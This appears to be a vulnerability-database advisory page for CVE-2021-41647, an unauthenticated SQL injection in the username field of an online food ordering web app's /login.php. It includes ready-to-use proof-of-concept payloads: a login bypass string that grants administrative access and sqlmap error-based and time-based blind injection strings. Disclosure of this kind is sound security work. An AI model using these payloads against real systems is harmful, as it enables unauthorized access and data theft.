Lucene search
K

Online-Food-Ordering-Web-App SQL Injection Vulnerability

🗓️ 04 Oct 2021 00:00:00Reported by Jason ColyvasType 
zdt
 zdt
🔗 0day.today👁 369 Views

Online-Food-Ordering-Web-App SQL Injection Vulnerability, Un-authenticated Error, Time-based Blind SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Online_Food_Ordering_Web_App_Project Online_Food_Ordering_Web_App
28 Sep 202107:59
githubexploit
Circl
CVE-2021-41647
1 Oct 202118:15
circl
CNNVD
Online-Food-Ordering-Web-App SQL注入漏洞
1 Oct 202100:00
cnnvd
CVE
CVE-2021-41647
1 Oct 202114:32
cve
Cvelist
CVE-2021-41647
1 Oct 202114:32
cvelist
EUVD
EUVD-2021-28659
3 Oct 202520:07
euvd
NVD
CVE-2021-41647
1 Oct 202115:15
nvd
OSV
CVE-2021-41647
1 Oct 202115:15
osv
Packet Storm
Online-Food-Ordering-Web-App SQL Injection
6 Oct 202100:00
packetstorm
Prion
Sql injection
1 Oct 202115:15
prion
Rows per page
CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App

The Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.
Link To Application

Online-Food-Ordering-Web-App
Affected Components & Parameter

URL: /login.php
PARAMETER: username
POC'S
LOGIN BYPASS PAYLOAD

To bypass the user login and gain full administrative access, payload in the username input field: user' or 1=1-- -
SQLMAP PAYLOADS

Parameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf


Discovered by

Jason Colyvas
MOBIUSBINARY
September 20th, 2021

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 26.4
CVSS 3.19.1
EPSS0.00733
369